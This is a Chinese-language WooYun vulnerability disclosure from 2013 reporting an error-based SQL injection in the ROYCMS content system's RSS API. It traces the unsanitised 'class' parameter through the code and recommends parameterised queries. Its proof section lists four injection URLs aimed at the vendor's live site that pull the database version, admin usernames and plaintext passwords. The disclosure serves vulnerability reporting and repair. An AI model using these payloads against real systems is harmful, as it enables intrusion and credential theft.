当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-021098

漏洞标题:ROYCMS漏洞之四,错误回显的SQL注入漏洞,直接秒杀管理员密码,部分用户密码明文存储

相关厂商:roycms.cn

漏洞作者: wefgod

提交时间:2013-04-01 22:25

修复时间:2013-06-30 22:26

公开时间:2013-06-30 22:26

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-04-01: 细节已通知厂商并且等待厂商处理中
2013-04-01: 厂商已经确认,细节仅向厂商公开
2013-04-04: 细节向第三方安全合作伙伴开放
2013-05-26: 细节向核心白帽子及相关领域专家公开
2013-06-05: 细节向普通白帽子公开
2013-06-15: 细节向实习白帽子公开
2013-06-30: 细节向公众公开

简要描述:

上次第三个漏洞被忽视了,真伤心。这次主要从代码上简单看看这套CMS的一个注入问题。当然了,服务器的狗狗挺碍事的,不过好在是老版本,基本上是畅通无阻的。其它请看后面的说明(别怪我标题长,对不住各位的眼睛了……)

详细说明:

问题文件:ROYcms.UI.Admin\App_Api\Rss.aspx.cs
主要是参数class产生的问题

if (Request["class"] != null){
DataSet ds = ___ROYcms_news_Bll.GetList(" classname='" + Request["class"] + "' ");
…}


另外,在该文件中可以看见该Rss类继承的是ROYcms.BasePage这个父类,在BasePage.cs中可以看见___ROYcms_news_Bll的定义为:

public ROYcms.Sys.BLL.ROYcms_news ___ROYcms_news_Bll = new ROYcms.Sys.BLL.ROYcms_news();


在ROYcms.Sys\BLL下找到ROYcms_news.cs文件,其中可以看见GetList方法的相关信息:

public DataSet GetList(string strWhere)
{ return dal.GetList(strWhere); }


Dal的定义为:

private readonly ROYcms.Sys.DAL.ROYcms_news dal=new ROYcms.Sys.DAL.ROYcms_news();


在ROYcms.Sys\Dal下找到ROYcms_news.cs文件,进一步找到GetList方法:

public DataSet GetList(string strWhere)
{
StringBuilder strSql = new StringBuilder();
strSql.Append("select * ");
strSql.Append(" FROM "+PubConstant.date_prefix+"news ");
if (strWhere.Trim() != "")
{
strSql.Append(" where " + strWhere);
}
return ROYcms.DB.DbHelpers.GetDataSet(strSql.ToString());
}


这是一个利用StringBuilder拼凑起来的sql查询,会产生SQL是毫无疑问的,下一步就回到官网测试

漏洞证明:

测试1:
http://www.roycms.cn/App_Api/Rss.aspx?class=1'%00 and @@version>0 and '1'='1

.jpg


测试2:
http://www.roycms.cn/App_Api/Rss.aspx?class=1'%00 and user>0 and '1'='1

1.jpg


测试3:
http://www.roycms.cn/App_Api/Rss.aspx?class=1'%00 and (select top 1 name from ROYcms_user)>0 and '1'='1

2.jpg


测试4:
http://www.roycms.cn/App_Api/Rss.aspx?class=1'%00 and (select top 1 password from ROYcms_user)>0 and '1'='1
(明文密码,具体不贴图了)

修复方案:

过滤或者参数化的查询。在某些地方是参数化查询了,但是在这没有用上

版权声明:转载请注明来源 wefgod@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-04-01 23:15

厂商回复:

------------

最新状态:

暂无